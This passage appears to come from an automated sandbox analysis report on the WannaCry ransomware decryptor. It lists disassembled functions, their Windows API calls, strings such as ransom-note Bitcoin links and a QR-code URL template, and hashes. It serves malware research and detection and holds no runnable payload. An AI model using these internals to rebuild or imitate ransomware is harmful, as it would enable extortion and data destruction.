                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Window$ActiveBringExitFindFocusForegroundProcessShow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 962039509-0
                                                                                                                          • Opcode ID: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                                                                                                          • Instruction ID: 32f88169c1f0d7c0e12a36757c7a64a26434f73f58f3758d5628eaed19e7f987
                                                                                                                          • Opcode Fuzzy Hash: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                                                                                                          • Instruction Fuzzy Hash: 66F0F431245A21F7E2315B54AC0DFDF3655DFC5B21F214610F715791D4CB6455018AAD
                                                                                                                          Function 00401A10 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 447 401a10-401a18 448 401a21 447->448 449 401a1a-401a1f 447->449 450 401a26-401a38 fopen 448->450 449->450 451 401a3a-401a44 450->451 452 401a6f-401a73 450->452 453 401a53-401a58 fwrite 451->453 454 401a46-401a51 fread 451->454 455 401a5e-401a64 453->455 454->455 456 401a74-401a84 fclose 455->456 457 401a66-401a6c fclose 455->457 457->452
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: fclose$fopenfreadfwrite
                                                                                                                          • String ID: c.wnry
                                                                                                                          • API String ID: 2140422903-3240288721
                                                                                                                          • Opcode ID: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                                                                                                          • Instruction ID: f5186b7865cb40674a519f70d39de74d6a09c830656aa5640d665e45194f203f
                                                                                                                          • Opcode Fuzzy Hash: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                                                                                                          • Instruction Fuzzy Hash: 0DF0FC31746310EBD3209B19BD09BD77A56DFC0721F450436FC0ED63A4E2799946899E
                                                                                                                          Function 0040B6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateDirectoryA.KERNELBASE(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CreateDeleteDirectoryFile
                                                                                                                          • String ID: %s\%s
                                                                                                                          • API String ID: 3195586388-4073750446
                                                                                                                          • Opcode ID: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                                                                                                          • Instruction ID: 62764616b0dad41b6f02366a4e891bd604a257d4ac44bdf0c04ae484a2ff6343
                                                                                                                          • Opcode Fuzzy Hash: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                                                                                                          • Instruction Fuzzy Hash: 2F2108B620435067D620AB65EC81AEB779CEBC4324F44082EFD1892242E77D661D82FA
                                                                                                                          Function 004108A0 Relevance: 6.1, APIs: 4, Instructions: 107fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 004108FB
                                                                                                                          • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
                                                                                                                          • #823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
                                                                                                                          • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,?,?), ref: 004109A2
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Pointer$#823Create
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3407337251-0
                                                                                                                          • Opcode ID: f8d4f32fbf11c17666650e2be2886089464b659975ada392b41f77d2d1c6e54b
                                                                                                                          • Instruction ID: 085c1855c78cd49c3d24b3d31d21a090ac304bae7dbf1d621fd5eca193cafac9
                                                                                                                          • Opcode Fuzzy Hash: f8d4f32fbf11c17666650e2be2886089464b659975ada392b41f77d2d1c6e54b
                                                                                                                          • Instruction Fuzzy Hash: BD31A3712943418FE331CF29E84179BBBE1AB85720F14891EE1D597781D3B6A4C8CBA6
                                                                                                                          Function 00412250 Relevance: 6.1, APIs: 4, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetFileAttributesA.KERNELBASE(?,?,?), ref: 00412264
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
                                                                                                                          • GetFileAttributesA.KERNELBASE(00000000), ref: 00412338
                                                                                                                          • CreateDirectoryA.KERNELBASE(?,00000000,?,?), ref: 0041234C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AttributesCreateDirectoryFile
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3401506121-0
                                                                                                                          • Opcode ID: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                                                                                                          • Instruction ID: eaae320e7248a4b774ebe1124a4f316430e5356865ecc18a96ed259e18cc5035
                                                                                                                          • Opcode Fuzzy Hash: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                                                                                                          • Instruction Fuzzy Hash: 6F310331204B0847C72889389D957FFBBC6ABD4320F544B3EF966C72C1DEB989588299
                                                                                                                          Function 004043E0 Relevance: 4.5, APIs: 3, Instructions: 15COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4284.MFC42(00000000,00000100,00000001), ref: 004043EC
                                                                                                                          • #3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
                                                                                                                          • #5277.MFC42 ref: 00404402
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3874#4284#5277
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1717392697-0
                                                                                                                          • Opcode ID: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                                                                                                          • Instruction ID: 168dd717f23fd29799672b21daad70d98dc1c3a6295a550393a3fd33bd33aa1c
                                                                                                                          • Opcode Fuzzy Hash: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                                                                                                          • Instruction Fuzzy Hash: B1D012303487645AE974B266BA0BBDB5A999B45B18F04044FF2459F2C1D9D858D083E5
                                                                                                                          Function 00411660 Relevance: 3.9, APIs: 3, Instructions: 156COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: d771c3cdc0376eb06813951ce938a924a88f856aba0395dbcbb3fe4ec20f6b6d
                                                                                                                          • Instruction ID: 97d1101cb4dc6e06905e0d83e2a099da94edd87715b03694c0ad860931ce0dc9
                                                                                                                          • Opcode Fuzzy Hash: d771c3cdc0376eb06813951ce938a924a88f856aba0395dbcbb3fe4ec20f6b6d
                                                                                                                          • Instruction Fuzzy Hash: 7F51D2B5600B018FC720DF2AE880597B7E0BF84314B544A2EEA9A83751D339F499CB95
                                                                                                                          Function 00410AF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ReadFile.KERNELBASE(000000FF,00000404,ZA,00000404,00000000,00000000,0000FFFF,00410D5A,00000000,00000404,00000001,?), ref: 00410B18
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: FileRead
                                                                                                                          • String ID: ZA
                                                                                                                          • API String ID: 2738559852-706706751
                                                                                                                          • Opcode ID: 955d7e46bcdd16e9ef88f509da3f750024060405559589d6ed767fd5e6d7c93f
                                                                                                                          • Instruction ID: 40231aa483a0e9c283400923c975ae8b8a6f0891fd27fdec0c6452f8272ca3df
                                                                                                                          • Opcode Fuzzy Hash: 955d7e46bcdd16e9ef88f509da3f750024060405559589d6ed767fd5e6d7c93f
                                                                                                                          • Instruction Fuzzy Hash: F401CE723042008BCB18CE18D890AABB7EAABC8610B0481ADEC498B305DA75EC15C761
                                                                                                                          Function 004133E6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1576
                                                                                                                          • String ID: 62A
                                                                                                                          • API String ID: 1976119259-856450375
                                                                                                                          • Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                                                                                                          • Instruction ID: 1789da96975510f8b15a36ac976bc3503c656fbbd280c19756f03076dd05f2b6
                                                                                                                          • Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                                                                                                          • Instruction Fuzzy Hash: AFB008360193D6ABCB12DE91890196ABAA2BB98305F484C1DB2A50146187668568AB16
                                                                                                                          Function 00410A50 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SetFilePointer.KERNELBASE(?,?,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A79
                                                                                                                          • SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A9B
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: FilePointer
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 973152223-0
                                                                                                                          • Opcode ID: 4f7f19fd77e9e4b6ff3b3df98d071297d87b5023754c0952396fd1cd05ebf564
                                                                                                                          • Instruction ID: 8c7778caab8dc427a0eff36806a54932c8fce05917786e5a19e085de530b5182
                                                                                                                          • Opcode Fuzzy Hash: 4f7f19fd77e9e4b6ff3b3df98d071297d87b5023754c0952396fd1cd05ebf564
                                                                                                                          • Instruction Fuzzy Hash: 3F111C742143019FCB1CCF20C8A4ABB77A2AFE8351F15C55DF08A8B361E674D8859B48
                                                                                                                          Function 00410A10 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SetFilePointer.KERNELBASE(830000FF,00000000,00000000,00000001,?,00410CBB,?,00000000,?,00000000,FFFFFFFF,?), ref: 00410A2C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: FilePointer
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 973152223-0
                                                                                                                          • Opcode ID: e974794341ff6e5ab14436fbc7c1d97085009ff257f2fc2de44bcc3722d2f397
                                                                                                                          • Instruction ID: 32027725d39edc4efdd6a80838e9bbfe12b8ec9337663397b441d42c78647a48
                                                                                                                          • Opcode Fuzzy Hash: e974794341ff6e5ab14436fbc7c1d97085009ff257f2fc2de44bcc3722d2f397
                                                                                                                          • Instruction Fuzzy Hash: CCE04F392447209BCA70CF68A814BD3BBE19F45750F18888AB8DA9BB81C2A5FCC5C744
                                                                                                                          Function 004102B0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: calloc
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2635317215-0
                                                                                                                          • Opcode ID: b99520603795e14427fcdc66bd24236fedacc387ffcb15b9e196dfa964343d57
                                                                                                                          • Instruction ID: 04342e400c51e4aa9d9f1a4926e37004e53e6e9aa7dbc080471d4116a51af395
                                                                                                                          • Opcode Fuzzy Hash: b99520603795e14427fcdc66bd24236fedacc387ffcb15b9e196dfa964343d57
                                                                                                                          • Instruction Fuzzy Hash: 3FB012B95042007FC904FB51DC41C6BB398FBD4201F80884DBC4D42200D539D944C632
                                                                                                                          Function 004102D0 Relevance: 1.3, APIs: 1, Instructions: 5COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: free
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1294909896-0
                                                                                                                          • Opcode ID: 9547fd8474c1228e0edb2c3a8820201b614da8fcf41e046977b995a71f98eb8e
                                                                                                                          • Instruction ID: 587bd5a705c9874b05802bcdcd007e1f5146f32a08b66df6e73241f9cdea139c
                                                                                                                          • Opcode Fuzzy Hash: 9547fd8474c1228e0edb2c3a8820201b614da8fcf41e046977b995a71f98eb8e
                                                                                                                          • Instruction Fuzzy Hash: 22A022B2000200328C00BAA0C00288A2B8C2A80202B20088EB00282020CA38C0C00200

                                                                                                                          Non-executed Functions

                                                                                                                          Function 00406F80 Relevance: 130.0, APIs: 67, Strings: 7, Instructions: 536windowtimeCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004076A0: time.MSVCRT(00000000,?,?,?), ref: 004076DA
                                                                                                                          • CreateSolidBrush.GDI32(000000E0), ref: 00406FB3
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00406FBC
                                                                                                                          • CreateSolidBrush.GDI32(00121284), ref: 00406FC6
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00406FCF
                                                                                                                          • CreateSolidBrush.GDI32(0000E000), ref: 00406FD9
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00406FE2
                                                                                                                          • CreateSolidBrush.GDI32(00E00000), ref: 00406FEC
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00406FF5
                                                                                                                          • CreateSolidBrush.GDI32(00000000), ref: 00406FFC
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00407005
                                                                                                                          • CreateSolidBrush.GDI32(003834D1), ref: 0040700F
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00407018
                                                                                                                          • CreateSolidBrush.GDI32(00107C10), ref: 00407022
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 0040702B
                                                                                                                          • CreateSolidBrush.GDI32(00E8A200), ref: 00407035
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 0040703E
                                                                                                                          • CreateSolidBrush.GDI32(00D77800), ref: 00407048
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00407051
                                                                                                                          • CreateSolidBrush.GDI32(00003CDA), ref: 0040705B
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00407064
                                                                                                                          • CreateFontA.GDI32(00000018,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00407097
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 0040709C
                                                                                                                          • CreateFontA.GDI32(00000012,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070C9
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 004070CE
                                                                                                                          • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070FB
                                                                                                                          • #1641.MFC42(00000000,?,75F020C0,?), ref: 00407104
                                                                                                                          • #3092.MFC42(000003ED,00000000,?,75F020C0,?), ref: 00407110
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040712B
                                                                                                                          • #3092.MFC42(000003FE,?,75F020C0,?), ref: 00407134
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040714D
                                                                                                                          • #3092.MFC42(000003FB,?,75F020C0,?), ref: 00407156
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040716F
                                                                                                                          • #3092.MFC42(000003FF,?,75F020C0,?), ref: 00407178
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407191
                                                                                                                          • #3092.MFC42(000003FC,?,75F020C0,?), ref: 0040719A
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071B3
                                                                                                                          • #3092.MFC42(00000400,?,75F020C0,?), ref: 004071BC
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071D5
                                                                                                                          • #3092.MFC42(000003FA,?,75F020C0,?), ref: 004071DE
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071F3
                                                                                                                          • #3092.MFC42(00000402,?,75F020C0,?), ref: 004071FC
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407215
                                                                                                                          • #3092.MFC42(000003EF,?,75F020C0,?), ref: 0040721E
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407237
                                                                                                                          • #3092.MFC42(000003EB,?,75F020C0,?), ref: 00407240
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407259
                                                                                                                          • #3092.MFC42(000003EC,?,75F020C0,?), ref: 00407262
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407277
                                                                                                                          • #860.MFC42(?,?,75F020C0,?), ref: 00407288
                                                                                                                          • #537.MFC42(https://en.wikipedia.org/wiki/Bitcoin,?,?,?,75F020C0,?), ref: 004072F9
                                                                                                                          • #537.MFC42(https://www.google.com/search?q=how+to+buy+bitcoin,?,?,?,?,75F020C0,?), ref: 00407315
                                                                                                                          • #540.MFC42(?,?,?,?,75F020C0,?), ref: 00407329
                                                                                                                          • #2818.MFC42(?,mailto:%s,?,?,?,?,?,75F020C0,?), ref: 0040734A
                                                                                                                          • #535.MFC42(?), ref: 0040735D
                                                                                                                          • #2818.MFC42(?,http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s,00000000), ref: 00407385
